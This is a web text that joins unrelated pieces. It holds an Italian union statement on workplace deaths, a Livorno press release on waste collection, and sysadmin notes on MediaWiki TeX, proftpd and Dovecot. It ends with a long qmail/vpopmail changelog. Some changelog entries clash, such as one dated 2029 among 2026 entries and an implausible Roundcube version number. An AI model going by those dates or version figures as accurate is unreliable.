Stamattina a Rosignano Solvay un operaio di trent'anni è morto. Caduto dal tetto di un'azienda in via degli Artigiani, dove stava sostituendo pannelli. Il tetto ha ceduto. Era il suo primo giorno di lavoro in quella ditta. Trent'anni. Primo giorno di lavoro. Ucciso sul lavoro. Ieri, ad Amendolara, in Calabria, sulla Statale 106, quattro braccianti di origine afghana — Waseem, Amin, Ullah e Safi — sono morti carbonizzati all'interno di un'auto, in un'area di servizio. Lavoratori sfruttati, stretti nella morsa del caporalato che da anni controlla la Piana di Sibari. Erano in Italia con regolare permesso di soggiorno da diversi anni. Si trattava di persone, lavoratori, non merce. Cinque morti in due giorni. E siamo solo al 4 giugno. Questo è il capitalismo italiano. Questo è il mercato del lavoro che ci vogliono far accettare. Non si tratta di fatalità, di sfortuna, di circostanze accidentali. Si tratta di un sistema che deliberatamente comprime il costo del lavoro fino all'osso, che trasforma i lavoratori in corpi usa e getta, che scarica sui più deboli, i precari, i migranti, chi non può permettersi di dire no, il rischio di morire per un salario quasi sempre sotto la soglia di povertà. Turni massacranti, paghe misere o nulle, schiavismo. E quando il corpo cede o il tetto crolla, li abbandonano sul ciglio della strada come oggetti consumati. Il caporalato non è un'anomalia del Sud. La precarietà mortale non è un'anomalia del Nord. Sono le due facce dello stesso sistema: quello che antepone il profitto alla vita, quello che usa la ricattabilità economica come arma di controllo sui lavoratori. USB rivendica con forza quello che questo sistema nega ogni giorno: il lavoro deve essere sicuro, sempre, per tutti. Questo significa rispetto rigoroso delle norme antinfortunistiche, formazione obbligatoria prima di mettere piede su un cantiere, dispositivi di protezione reali e funzionanti, rappresentanti dei lavoratori per la sicurezza con poteri effettivi, compreso il blocco immediato delle lavorazioni a rischio. E significa responsabilità penale certa per chi uccide risparmiando sulla sicurezza. C'è poi il nodo legato ai salari che devono essere adeguati a una vita dignitosa. Perché la povertà salariale e la precarietà contrattuale non sono questioni separate dalla sicurezza: sono la stessa questione. Chi è ricattabile sul contratto è ricattabile anche sulla propria incolumità. Chi non può permettersi di rifiutare un lavoro pericoloso, un turno in più, un'ora sul tetto senza protezioni, è un lavoratore che il sistema espone deliberatamente alla morte. La fame è una forma di coercizione e il caporalato ne è l'espressione più brutale. Sicurezza, stabilità e dignità sul lavoro sono la scelta politica che pretendiamo da chi governa. È inutile che la politica si batta il petto davanti alle bare: dietro ogni morte sul lavoro c'è la sua firma. USB Toscana esprime il proprio cordoglio alle famiglie di tutti questi lavoratori. Trasformiamo il dolore in rabbia di classe e in lotta organizzata.
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Iacomelli: “Ha funzionato il patto di collaborazione con i cittadini e gli esercenti”. Salvetti: “AAMPS/Retiambiente indispensabile per il successo di tutti i nostri eventi”.
In mezzo alla gente, ma con discrezione ed efficienza. Gli operatori di AAMPS/Retiambiente hanno contribuito alla riuscita dell’evento Straborgo che da venerdì 29 maggio a sabato 1 giugno ha visto migliaia di persone, tra cittadini e turisti, affollare le strade del quartiere. Una presenza continuativa per garantire la pulizia di Piazza Mazzini e delle strade limitrofe e realizzare la raccolta dei rifiuti sia con la vuotatura dei contenitori stradali sia con la raccolta dei materiali differenziati prodotti con quantitativi ingenti dagli esercenti della zona.
“Questa tipologia di manifestazione – commenta Aldo Iacomelli, Amministratore Unico AAMPS/Retiambiente – risulta per noi sempre particolarmente impegnativa soprattutto nel periodo estivo che prevede un’articolazione complessa dei nostri servizi di raccolta e spazzamento. Dobbiamo operare h24 e, allo stesso tempo, districarci tra la folla garantendo sempre le opportune condizioni di sicurezza per i nostri lavoratori e i cittadini. Siamo particolarmente soddisfatti nell’essere riusciti a dare il nostro contributo. Ho il piacere di sottolineare – conclude Iacomelli – la cooperazione che abbiamo riscontrato da parte degli organizzatori, degli abitanti del quartiere e degli esercenti che si sono prodigati per rispettare le regole straordinarie di conferimento dei rifiuti differenziati”.
“Lo dico da sempre – afferma Luca Salvetti, Sindaco di Livorno. AAMPS/Retiambiente è un’azienda che funziona egregiamente nell’erogazione dei servizi resi alla cittadinanza e questi eventi ne sono la riprova. Senza i puntuali servizi di spazzamento e raccolta dei rifiuti non saremmo qui a parlare del successo di Straborgo. Ringrazio i lavoratori per il consueto impegno profuso, gli abitanti del quartiere per la disponibilità concessa e gli esercenti per avere collaborato al meglio delle rispettive possibilità. Ora sotto con le altre kermesse in programma per la lunga stagione estiva”.
Mediawiki offre la possibilità di inserire formule Tex nelle nostre pagine creando dinamicamente immagini PNG per noi..
Questa pagina vuole richiamare i pacchetti e i principali passi da seguire per far funzionare Tex con MediaWiki in una macchina Slackware. Alla fine presenterò alcune problematiche nell'installzione.
Ghostscript è già incluso in Slackware (ap/ghostscript e ap/ghostscript-fonts-std) ma se siamo in un server minimale potresti avere bisogno di installarlo.
libfontconfig
Questa libreria la troviamo all'interno del pacchetto x/fontconfig. E' richesta da ImageMagick.
wget http://caml.inria.fr/pub/distrib/ocaml-3.12/ocaml-3.12.0.tar.bz2
tar xjf ocaml-3.12.0.tar.bz2
cd ocaml-3.12.0
chown -R root:root .
./configure
make
make install
Senza AMS* alcune formule saranno rese correttamente mentre altre no. Il pacchetto tetex di Slackware contiene già AMS, comunque, nel caso non ce l'avessi:
cd /usr/share/texmf
wget ftp://ftp.ams.org/pub/tex/amslatex.zip
wget ftp://ftp.ams.org/pub/tex/amsrefs/amsrefs.zip
unzip amslatex.zip
unzip amsrefs.zip
dovresti trovarlo in /usr/share/texmf/tex/latex/amsmath/amsmath.sty
Abilitare Tex in Mediawiki
Cambiare directory dove è installato mediawiki, editare LocalSettings.php e decommentare questo:
$wgUseTeX = true;
Compilazione di texvc
cd /path/to/htdocs/mediawiki/math
Prima di compilare, per evitare un parse error, usare il PATH assoluto ovunque all'interno di math/render.ml in questo modo:
let cmd_dvips tmpprefix = "/usr/share/texmf/bin/dvips -q -R -E " ^ tmpprefix ^ ".dvi -f >" ^ tmpprefix ^ ".ps"
let cmd_latex tmpprefix = "/usr/share/texmf/bin/latex " ^ tmpprefix ^ ".tex >/dev/null"
(* Putting -transparent white in converts arguments will sort-of give you transperancy *)
let cmd_convert tmpprefix finalpath = "/usr/local/bin/convert -quality 100 -density 120 " ^ tmpprefix ^ ".ps " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_convert_error"
(* Putting -bg Transparent in dvipng's arguments will give full-alpha transparency *)
(* Note that IE have problems with such PNGs and need an additional javascript snippet *)
(* Putting -bg transparent in dvipng's arguments will give binary transparency *)
let cmd_dvipng tmpprefix finalpath backcolor = "/usr/local/bin/dvipng -bg \'" ^ backcolor ^ "\' -gamma 1.5 -D 120 -T tight --strict " ^ tmpprefix ^ ".dvi -o " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_dvipng_error"
Cerchiamo ora di eseguire il comando texvc dalla linea di comando come utente apache:
cd math
sudo -u apache ./texvc '../images/tmp' '../images/tmp' '0' 'UTF-8' 'transparent'
a controlliamo il PNG nella cartella images/tmp. Se si ottiene ancora un parse error, si ricontrolli il path assoluto in math/render.ml, e si ricompili. E si rileggano le referenze indicate.
Ecco come ho installato mod_tls (ftpes) e mod_sftp in proftpd. I miei tentativi di farli convivere in due demoni separati sono tutti falliti, giacchè ho registrato errori nel trasferimento che sono spariti solo quando ho provato a caricare mod_tls o mod_sftp a turno.
Questi i miei test sulla velocità (per la verità un po' frettolosi). ftpes sembra un pochino più veloce in modalità upload:
ftpes upload: circa 22.4 K/s download: più di 800 K/s
sftp upload circa 18.2 K/s download: più di 800 K/s
# common stuff goes here Include /usr/local/etc/proftpd/proftpd.conf
<IfModule mod_tls.c> TLSEngine on PassivePorts 49152 65535 #MasqueradeAddress 012.345.678.901 # se il server e' dietro un firewall TLSLog /var/log/proftpd/tls.log TLSProtocol SSLv23 # Require protection on the control channel, but reject protection of the data channel TLSRequired ctrl+!data TLSRSACertificateFile /usr/local/etc/ssl/certs/proftpd.pem TLSRSACertificateKeyFile /usr/local/etc/ssl/certs/proftpd.pem TLSVerifyClient off TLSRenegotiate none </IfModule>
file sftp.conf
# common stuff Include /usr/local/etc/proftpd/proftpd.conf
<IfModule mod_sftp.c> SFTPEngine on SFTPLog /var/log/proftpd/sftp.log Port 22 SFTPHostKey /etc/ssh/ssh_host_rsa_key SFTPHostKey /etc/ssh/ssh_host_dsa_key SFTPCompression delayed MaxLoginAttempts 6 </IfModule>
Infine avviare il demone richiamando il file di configurazione desiderato:
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf # se si vuole ftpes
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf # se si preferisce sftp
Non avviarli mai insieme.
file proftpd.conf
ServerType standalone UseReverseDNS off DeferWelcome off
Il progetto Pigeonhole fornisce il supporto Sieve a livello di plugin per il Local Delivery Agent (LDA) di Dovecot e anche per suo servizio LMTP. Il plugin è un interprete Sieve che filtra i messaggi in arrivo usando uno script scritto in linguaggio Sieve. Lo script Sieve è fornito dall'utente e, con il suo utilizzo, l'utente può personalizzare come i messaggi in arrivo sono trattati. I messaggi possono essere spediti a una cartella specifica, reindirizzati, rispediti al mittente, scartati, etc.
Il Server Dovecot Managesieve è un servizio per gestire la collezione di script Sieve dell'utente.
Se vuoi supportare i filtri per le email, devi gestire le Sieve rules per mezzo del server dovecot-pigeonhole. Quando crei un filtro con la tua webmail o il tuo client di posta, stai scrivendo uno script in linguaggio Sieve per personalizzare il modo in cui i tuoi messaggi saranno recapitati, vale a dire se saranno inoltrati a qualcun altro, scartati o salvati in delle cartelle particolari. Ma per fare questo Dovecot deve agire anche come un Local Delivery Agent al posto di vpopmail/vdelivermail, ovvero deve essere Dovecot a salvare i messaggi nella tua cartella Maildir. Questa guida cercherà di spiegare come raggiungere questo obiettivo.
Oct 7, 2026 * dehydrated scripts updated to v. 4.0.3 - sendmail bin determined by 'command -v', instead of using the sendmail shipped by qmail by default
Sep 29, 2029 * qmail version 2026.09.29
Sep 16, 2026 * vpopmail version 5.6.14
Sep 9, 2026 * qmail pre release 2026.09.08-rc.1
Sep 7, 2026 * qmHandle upgraded to v 1.3.5
Aug 29, 2026 * qmailadmin upgraded to v1.2.28 - Bug fix: avoided to add translations from 400 to 450, as they are reserved strings for autoresponder's headers in #9. Thanks to ueli
Aug 28, 2026 - dovecot upgraded to v2.4.5
Jul 6, 2026 - clamav-unofficial-sigs upgraded to v. 8.0.0 - roundcube upgraded to v 1.7.2
Jul 1, 2026 - I added notes on how to install an hCaptcha filter on mailman/Postorius
May 10, 2026 roundcube upgraded to v. 1.7.1 (security release)
May 14, 2026 - dovecot upgraded to v. 2.4.4
May 10, 2026 roundcube upgraded to v. 1.7.0
Apr 7, 2026 - qmail v. 2026.04.07
Mar 30, 2026 - dovecot 2.4.3 released
Mar 4, 2026 - clamav upgraded to v 1.5.2
Feb 11, 2026 - vpopmail upgraded to v. 5.6.13 - vqadmin upgraded to v. 2.4.6
Feb 8, 2026 - vpopmail upgraded to v. 5.6.12 - roundcube update to v. 16.13
Feb 3, 2026 - qmail upgrade
Jan 31, 2025 - vqadmin upgraded to v 2.4.5
Jan 8, 2026 - qmail upgraded to v2026.01.08
Dec 14, 2025 - roundcube upgraded to version 1.6.12
Nov 28, 2025 - qmailadmin upgraded to v1.2.27
Nov 26, 2025 - ezmlm-idx moved to my git space. Patched to compile with modern compilers. Fixed mysql documentation.
Nov 22, 2025 - dovecot: quota driver switched to 'count' - vpopmail upgraded to v.5.6.11
Nov 8, 2025 - qmailadmin upgraded to v 1.2.26 - log file modified accordingly in fail2ban filter
Oct 30, 2025 - vpopmail updated to v. 5.6.10 - dovecot ugraded to v. 2.4.2 - dovecot-pigeonhole ugraded to v. 2.4.2
Oct 22, 2025 - qmailadmin updated to v 1.2.25
Oct 18, 2025 - clamav upgraded to v 1.5.1
Oct 11, 2025 - clamav upgraded to v 1.5.0. A recent version of rust is needed (successfully using 1.88 here). Just reinstall as explained below. No particular change is needed in the config files.
3 ottobre 2025: - Aggiunta la sezione Data Query Service nella pagina relativa a RBL, che risolve il problema del ban di spamhaus da connessioni fatte con DNS pubblico.
Sep 30, 2025 - daemontools v0.82: Fixed crash in multilog caused by invalid buffer access when read() returned -1
Sep 8, 2025 - daemontools v. 0.81 compiles with latest gcc 15.2 - qmail updated to v. 2025.09.08
Sep 1, 2025 vpopmail v5.6.9 - added -std=gnu17 to gain compatibility with gcc-15 (PR #6) - pw_clear_passwd field enlarged to varchar(128) to create room for long passwords (tx Ricardo Brisighelli) c54688d
Aug 31, 2025 - upgraded ucspi-tcp6 and ucspi-ssl to v. 0.13.5
Aug 19, 2025 - netqmail-1.07.1: now compiles with gcc 15.2
Aug 18, 2025 spamassassin's bayesian filter: improved the "Training Bayes" section
Jul 10, 2025 qmail update - Authentication-Results: header support (Andreas Gerstlauer) - DKIM: added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer) - improved qmail-dkim error reporting when signing outgoing messages (Andreas Gerstlauer) - helodnscheck.cpp:qmail dir determined dinamically - qmHandle: Add -x and -X parametr for remove email by To/Cc/Bcc (by Stetinac)
Jun 9, 2025 qmail v.2025.06.09 - CRLF fix for fastremote-3 patch (thanks Andreas Gerstlauer) - Bug fix to the greetdelay program (thanks Andreas Gerstlauer): qmail-smtpd crashes if SMTPD_GREETDELAY is defined with no DROP_PRE_GREET defined.
Jun 04, 2025 - roundcube updated to v. 1.6.11 - simscan updated to v. 1.4.6
Apr 19, 2025 - sauserprefs upgraded to v. 1.20.2
Apr 18, 2025 - qmail v2025.04.18: added script config-all.sh to automate the qmail core configuration (testing)
Apr 19, 2025 - sauserprefs upgraded to v. 1.20.2
4 aprile 2025 - pubblicata una pagina con l'illustrazione del funzionamento di qmail, per quanto riguarda la configurazione suggerita in questa guida
Mar 29, 2025 - dovecot and dovecot-pigeonhole updated to v. 2.4.1-4 - vpopmail updated to v. 2.6.8 (have a look at the release notes)
Mar 23, 2025 (v. 5.6.7) - bug fix in vpopmaild.c: Crypted[64] enlarged to Crypted[128] to make room for SHA-512 passwords. This restores the usability of the RoundCube's 'password' plugin (commit) - fixed quota calculation in sql procedures for dovecot (tx Hakan Cakiroglu) (commit) - minor changes to the usage function of vmakedotqmail.c (commit)
Mar 19, 2025 daemontools version 0.79 This version does not add new features nor corrects bugs. It's just a reorganizations of the files in the source dir - daemontools will be installed in /var/qmail/daemontools - Moved 'package' and 'src' to the top dir - Version grabbed from 'VERSION' in package/upgrade
Mar 17, 2025 - added a patch to qmail-spp greylisting plugin to solve a compilation break on rocky 8 (tx Shailendra Shukla)
Mar 15, 2025 -dovecot config: added quota warning messages handling
Mar 12, 2025 - autorespond v 2.0.9: bug fix in memory allocation which caused a segfault when To: address has be used (tx Stephan for the hint)
Mar 9, 2025 - dovecot: fixed quota calculation in sql queries (tx Hakan Cakiroglu) - Roundcube recognizes unlimited quota
Mar 5, 2025 - solr upgraded to v. 9.8.0
Feb 22, 2025 - Dovecot: Bug fix in 90-sieve.conf: global script to move spam into Junk now working - Let’s Encrypt have announced that they will end their free alerting service. Added a script to do the same internally.
Feb 15, 2025 - vpopmail upgraded to v. 5.6.6. bug fix: pwstr.h was not installed by Makefile (tx Bai Borko)
Fedb 11, 2025 qmail v. 2025.02.11 - Several adjustments to get freeBSD and netBSD compatibility. More info in the commit history. Hints/comments are welcome. - freeBSD users have to comment out the "LIBRESOLV" variable from the very beginning of the Makefile, as libresolv.so in not needed on freeBSD. - Dropped files install-big.c, idedit.c and BIN.* files. - Dropped files byte_diff.c, str_cpy.c, str_diff.c, str_diffn.c and str_len.c, which break compilation on clang and can be replaced by the functions shipped by the compiler (tx notqmail). - Old documentation moved to the "doc" dir. install.c and hier.c modified accordingly - conf-cc and conf-ld now have -L/usr/local/lib and -I/usr/local/include to look for srs2 library - conf-cc and conf-ld now have -L/usr/pkg/lib and -I/usr/pkg/include to satisfy netBSD - vpopmail-dir.sh: minor correction to vpopmail dir existence check - srs.c: #include <srs2.h> now without path
Feb 9, 2025 - some packages updated to compile on FreeBSD/clang: daemontools, vpopmail, autorespond, qmailadmin - roundcube updated to v. 1.6.10
Jan 30, 2025 - dovecot and dovecot-pigeonhole updated to v. 2.4.0
Dec 31, 2024 the default driver for the Roundcube password plugin is now sql, as vpopmaild doesn't work when SHA-512 passwords have been enabled on vpopmail (--disable-sha512-passwords). All SQL queries have been updated.
Dec 20, 2024 vpopmail upgraded to v. 5.6.4 - Password strength enforcement PR #5 (grabbed from Matt Brookings' 5.5.0-dev version) - Dropped min pwd length feature. - vmysql.h: tables' layout changed in order to have VARCHAR instead of CHAR. Fields containing ip addresses enlarged to VARCHAR(39), to create room for ipv6. Unix timestamps definition changed from BIGINT(20) to INT(11). (commit 44bad58) Have a look to the upgrade notes below.
Dec 06, 2024 - vqadmin v. 2.4.3: added a patch to highlight users with restrictions and with admin privileges (thanks Bai Borko)
Dec 01, 2024 (More info here) qmail v2024.12.01 - Added support for EAI (RFC 5336 SMTP Email Address Internationalization) (#13). Thanks to https://github.com/arnt/qmail-smtputf8/tree/smtputf8-tls. - chkuser is now smtputf8 compliant. It accepts utf8 characters in sender and recipient addresses provided that the remote server advertises the SMTPUTF8 verb in MAIL FROM, otherwise it allows only ASCII characters plus additional chars from the CHKUSER_ALLOWED_CHARS set. (#15#16) * dropped variables CHKUSER_ALLOW_SENDER_CHAR_xx CHKUSER_ALLOW_RCPT_CHAR_xx (replaced by CHKUSER_ALLOWED_CHARS) * dropped variables CHKUSER_ALLOW_SENDER_SRS and CHKUSER_ALLOW_RCPT_SRS, as we are always accepting '+' and '#' characters * added variables CHKUSER_INVALID_UTF8_CHARS and CHKUSER_ALLOWED_CHARS
Nov 15, 2024 - dovecot: added a postlogin script to update the vpopmail.lastauth SQL table on login (see 10-master.conf, thanks kengheng)
Oct 26, 2024 - qmail upgraded to v. 2024.10.26 * qmail-remote.c patched to dinamically touch control/notlshosts/<fqdn> if control/notlshosts_auto contains any number greater than 0 in order to skip the TLS connection for remote servers with an obsolete TLS version. (tx Alexandre Fonceca) (commit) * defined CHKUSER_DISABLE_VARIABLE "RELAYCLIENT" in chkuser_settings.h * enabled CHKUSER_SENDER_NOCHECK_VARIABLE "RELAYCLIENT" in chkuser_settings.h * fixed several compilation breaks/warnings on later gcc compilers (tx Pablo Murillo) * invalid auth fix in qmail-smtpd.c's smtp_auth function (tx Alexandre Fonceca for the advice) (commit) * qmail path determined dinamically in conf-policy * added a patch to remove chkuser and the vpopmail dependency (patches dir)
Oct 19, 2024 vpopmail v.5.6.3 - bug fixed: passwords with length > 8 were denied if sha-512 was disabled - fixed a configure break where a trivial C test program exits on error with gcc-14.1 due to missing headers - vusaged/domain.c: fixed -Wimplicit-function-declaration compilation warning - vmysql.h: dropped the multicolumn PRIMARY KEY in valias table to allow multiple forwards for a given alias.
Oct 9, 2024 - daemontools-0.78.2: added -ltr to conf-ld to restore compatibility with systems with glibc prior to v. 2.17 like RHEL6/CentOS6, where the librt.so library is not linked
Sep 22, 2024 -fehqlibs updated to v. 25c -ucspi-tcp6 updated to v. 1.13.01 -ucspi-ssl updated to v. 0.13.02
Sep 7, 2024 - daemontools-0.78: fixed a .gitignore issue which was preventing the package/compile script upload (thanks Ivelin Topalov) - RC updated to v. 1.6.9 - clamav updated to v. 1.4.1 - qmailadmin upgraded to v. 1.2.23 (tx Nathanaël Semhoun) * Added support for qmail-autoresponder * Fixed load lang not retrieved
Aug 16, 2024 - upgraded dovecot to v. 2.3.21.1 - upgraded pigeonhole to v. 0.5.21.1
Jul 31, 2024 multilog uses "d" flag as default to gain compatibility with the readable datetime format of multilog in daemontools-0.78. Change it with the "t" flag if you prefer to have timestamps.
Jul 29, 2024 (version 0.78) - multilog prints a readable datetime if used with "d" flag, it prints timestamps if used in the usual way with the "t" flag (80f2133) - fixed several compilation warnings and/or breaks on gcc-14.1
Jul 26, 2024 vqadmin (version 2.4.1): Fixed configure break. Trivial C test program breaks on gcc-14.1 due to missing headers (commit)
July 17, 2024 qmailadmin updated to v.1.2.22 * owner no longer required in autorespond * template.c code optimization
July 15, 2024 simscan 1.4.4 released: attachment size limit to be passed to spamassassin now handled by the size_limit variable in control/simcontrol, instead of the control/simsizelimit file.
Jun 8, 2024 qmail patch upgraded to v. 2024.06.08: * conf-channels: default number of channels increased to 4 (was 2). Now qmail offers 2 additional channels with respect to the 2 offered by default (local and remote). More info here * maxrcpt: error code changed to 452 due to RFC 4.5.3.1 (was 553). If DISABLE_MAXRCPT is defined it skips the check, otherwise outgoing messages from mailing lists would be rejected. (commit)
Jun 7, 2024 - vusaged: the header files of libev are now installed in /usr/local/include/libev (was /usr/local/include) to avoid conflicts with libevent (they both have an event.h header file). vusaged configure command was adjusted accordingly.
Jun 1, 2024 - clamav upgraded to v. 1.3.1
May 26, 2024 - Added Mailman installation howto - qmail patch upgraded to v. 2024.05.16 (changelog) - Roundcube upgraded to 1.6.7 (security fix) - Spamassassin upgraded to v. 4.0.1 - Spamassassin: Razor-agents upgraded to v. 2.86 (fork of the original (dead?) project)
Mar 27, 2024 qmailadmin updated to v. 1.2.21
Mar 4, 2024 - Solr updated to v. 9.5.0 - the documentation has been revised a bit
Feb 12, 2024 qmail update - DKIM patch upgraded to v. 1.48 * fixed minor bug using filterargs for local deliveries (commit) - Fixed several compilation warnings (commit) - Fixed incompatible redeclaration of library function 'log2' in qmail-send.c qsutil.c as showed by notqmail friends here - removed FILES, shar target from Makefile
Feb 11, 2024 clamav updated to v. 1.3.0
Feb 6, 2024 qmail: DKIM patch upgraded to v. 1.47 * fixed a bug which was preventing filterargs' wildcards to work properly on sender domain
Jan 27, 2024 simscan upgraded to v 1.4.3: fixed several compilation and autotools warnings
Jan 21, 2024 - qmail: liberal-lf: bare LF are no longer allowed by default due to smuggling vulnerability CVE-2023-51765. Bare LF can be allowed by defining ALLOW_BARELF in tcprules or in run file. - tcprules moved to /var/qmail/control
Jan 15, 2024 qmail update: - TLS patch by F. Vermeulen upgraded to version 20231230 (more info at https://inoa.net/qmail-tls/ tx Greg Bell for the patch) * support to openssl 3.0.11
Jan 11, 2024 - qmail: dkim patch upgraded to version 1.46
Jan 4, 2024 qmail patch: DKIM patch upgraded to v. 1.44 - fixed an issue with filterargs where spawn-filter is trying to execute remote:env xxxxx.... dk-filter. This issue happens when FILTERARGS environment variable is not defined in the qmail-send rc script. - dkim.c fix: https://notes.sagredo.eu/en/qmail-notes-185/configuring-dkim-for-qmail-92.html#comment3668 - dkfilter fix: correctly selects the domain to sign in case of sieve bounces - adjustments fo dk-filter and dknewkey man pages
Dec 30, 2023 - spamassassin/DMARC filter: now DMARC_REJECT is not hit if SPF_HELO_PASS is true
Dec 26, 2023 - qmailadmin upgraded to v1.2.18 - Pyzor installed from github, as version 1.0.0 is not python3 compliant (thanks Mike)
Dec 11, 2023 qmail, vpopmail, daemontools, qmailadmin, simscan and vqadmin source code moved to github
Nov 20, 2023 -qmail patch updated. dkim: * The patch now by default excludes X-Arc-Authentication-Results * dkim can additionally use the environment variable EXCLUDE_DKIMSIGN to include colon separated list of headers to be excluded from signing (just like qmail-dkim). If -X option is used with dk-filter, it overrides the value of EXCLUDE_DKIMSIGN.
Nov 5., 2023 -bug fix: vpopmail defaultdelivery patch: it won't create the .qmail file in case control/defaultdelivery already has vdelivermail, in order to prevent a vpopmail loop -qmailforward RC plugin: it won't create the copy record if $config['qmailforward_defaultdelivery'] contains 'vdelivermail'
Oct 13, 2023 - vpopmail: added "s/qmail cdb" patch, which gets vpopmail to locate correctly the qmail assign.cdb for s/qmail users. s/qmail users should configure vpopmail with --enable-sqmail-cdb
Oct 6, 2023 - clamav updated to v. 1.2.0
Sep 26, 2023 new qmail combined patch: -surblfilter logs the rejected URL in the qmail-smtpd log. It can now inspect both http and https URLs. -Improvements in man dkim.9, qmail-dkim.9 and surblfilter.9
Sep 17, 2023 - dovecot upgraded to v 2.3.21 - pigeonhole upgraded to v 0.5.21
Sep 14, 2023 - simscan now defines the maximum size of messages to be passed to spamassassin via control/simsizelimit file
Sep 5, 2023 -new qmail patch and DKIM patch upgraded to v. 1.42 *dk-filter.sh: "source $envfn" has been replaced with ". $envfn" in oder to work for pure bourne shells *minor corrections to the man pages -vpopmail: changed configuration option --enable-logging=e (was p). Now failed attempts will be logged with no password shown.
Sep 3, 2023 -daemontools: Buffer Overflow fixed in timestamp.c (patch multilog-readable_datetime, Ubuntu 22.04). It was causing empty log files everywhere. (thanks Bai Borko and KPC)
Aug 27, 2023 - nuova patch per vpopmail e nuovo plugin qmailforward per Roundcube che vanno a risolvere diverse problematiche. Maggiori informazioni nella pagina dedicata..
Aug 20, 2023 (diff) -qmail combined patch: install a sample control/smtpplugins file in case it does not exist yet, to avoid "unable to read control" crash.
Aug 17, 2023 - helodnscheck: * C++ version (testing). * bug fix: segfault in case of no result in DNS record. * default action changed to GNLR
5 agosto 2023 L'installzione del certificato Let's Encrypt è ora basata su dehydrated. La vecchia documentazione basata su certbot non verrà più aggiornata.
Jul 18, 2023 vqadmin: patch updated - Italian translation file html/it updated, following the patch by Ali Erturk TURKER - the vqadmin source directory has been cleaned of unnececessary files
Jul 15, 2023 - fail2ban: l'installazione e la configurazione è stata rivista per funzionare su Debian, dove python2 non è presente (grazie a Gabriel Torres)
Jun 30, 2023 -daemontools: added my multilog-readable_datetime patch which replace the timestamp in the log lines with a human readable datetime. Do not install it if you prefer to stick with the timestamp. -if you install this patch you have to download again the convert-multilog program. In case you decide to stick with the original timestamp, then use the original convert-multilog. (diff) -qmail combiend patch: DKIM patch upgraded to v. 1.41 *dknewkey will allow domains in control/domainkey *Made a few adjustments to the man pages and dkimsign.cpp for DKIMDOMAIN to work with qmail-smtpd (in case some configures qmail-smtpd to sign instead of the usual dk-filter/qmail-remote) -The broken link based on pobox.com in the default SPF error explanation was changed to https://mxtoolbox.com/SuperTool.aspx?action=spf
Jun 25, 2023 - Spamassassin: The ExtractText notes have been revised and corrected by Gabriel Torres
Jun 18, 2023 * qmail combined patch (diff) -vpopmail uid and gid are determined dinamically instead of assigning 89:89 ids by default -vpopmail install directory determined dinamically (was /home/vpopmail). Now the variable in the conf-cc file is determined as well. Feel free to post any issue in the comments as I'm not sure that /bin/sh will work in all Linux. * qmail run scripts: -defined the variable QMAILDIR in all run scripts in order to manage installations of qmail in directories different from default /var/qmail -/home/vpopmail is now ~vpopmail in order to manage installations of vpopmail in directories different from default /home/vpopmail -defined the variable TCPRULES_DIR on top of all run scripts
May 18, 2023 -certbot/letsencrypt: added the option --key-type rsa to the certbot command, to avoid that certbot will silently default to ECDSA the private key format, which results not understandable by my openssl-1.1. In this way the format of the private key will be RSA. More info here.
May 17, 2023 -SURBL: Top level domains URL is changed. So we have to adjust the update_tlds.sh script accordingly
Apr, 26, 2023 -new combined patch and dkim patch updated to v. 1.40 -qmail-dkim uses CUSTOM_ERR_FD as file descriptor for errors (more info here)
Apr 25, 2023 - qmailadmin cracklib patch: bug fix in qmailadmin/passwd: it was changing the password also in case of cracklib alert (tx Alexandre Fonseca) - new qmailadmin combined patch released
Mar 27, 2023 qmail combined patch (diff here) -chkuser.c: double hyphens "--" are now allowed also in the rcpt email (tx Ali Erturk TURKER) -chkuser_settings.h CHKUSER_SENDER_NOCHECK_VARIABLE commented out. Sender check is now enabled also for RELAYCLIENT -removed a couple of redundant log lines caused by qmail-smtpd-logging
Mar 18, 2023 - new qmail combined patch * bugfix in dkimverify.cpp: now it checks if k= tag is missing (tx Raisa for providing detailed info) * redundant esmtp-size patch removed, as the SIZE check is already done by the qmail-authentication patch (tx Ali Erturk TURKER) diff here
Mar 14, 2023 - qmail combined patch: the split_str function in dknewkey was modified in order to work on debian 11 (tx J)
Mar 12, 2023 - qmail patch updated: the mail headers will change from "ESMTPA" to "ESMTPSA" when the user is authenticated via starttls/smtps (tx Ali Erturk TURKER) diff here
Mar 1, 2023 - qmail combined patch updated: added qmail-fastremote patch (tx Ali Erturk TURKER for the advise). qmail-remote CRLF removed (replaced by fastremote)
Feb 27, 2023 - qmail combined patch updated: now qmail-remote is rfc2821 compliant even for implicit TLS (SMTPS) connections (tx Ali Erturk TURKER)
Feb 24, 2023 - qmail combined patch updated: several missing references to control/badmailto and control/badmailtonorelay files were corrected to control/badrcptto and control/badrcpttonorelay (tx Ali Erturk TURKER) diff here
Feb 20, 2023 - qmail combined patch updated ---- dkim patch upgraded to v. 1.37 ------ ed25519 support (RFC 8463) ------ old yahoo's domainkeys stuff removed (no longer need the libdomainkeys.a library)
Feb 18, 2023 -vpopmail: added a patch by Ali Erturk TURKER which fixes several issues -vqadmin: added a patch by Ali Erturk TURKER which, among the other things, makes vqadmin aware of mysql-limits
Feb 10, 2023 -dovecot: added a patch to restore the old vpopmail-auth driver (tx Ali Erturk TURKER)
Jan 31,2023 -bug fix in qmail-smtpd.c. 4096 bit RSA key cannot be open (tx Ali Erturk TURKER)
Jan 4, 2023 -Solr upgraded to version 9.1.0 -The SOlr page has been improved as far as configuration, security and testing are concerned
Jan 1, 2023 -ClamAV upgraded to version 1.0.0 -new qmail combined patch released. Bug fix in dk-filter. It was calling a non existent function (tx Andreas).
Dic 17, 2022 -qmail combined patch release * chkuser receipt check won't be disabled for RELAYCLIENT * CHKUSER_DISABLE_VARIABLE commented out from chkuser_settings.h
Nov 20, 2022 -switched all actions to nftables, as it has now replaced iptables and fail2ban has support for it.
2022.10.02 -dkim patch updated to v. 1.30 and new qmail combined patch released * bug fix: it was returning an error in case of domains with no key.
Sep 29, 2022 -bug fixed in the domainkey script: it wasn't creating the symbolic link of the selector name to the private key in case of a custom selector defined in the file control/dkimkeys Sep 28, 2022 -qmail combined patch updated with new dkim patch v. 1.29. More info here -Roundcube webmail updated to v. 1.6.0
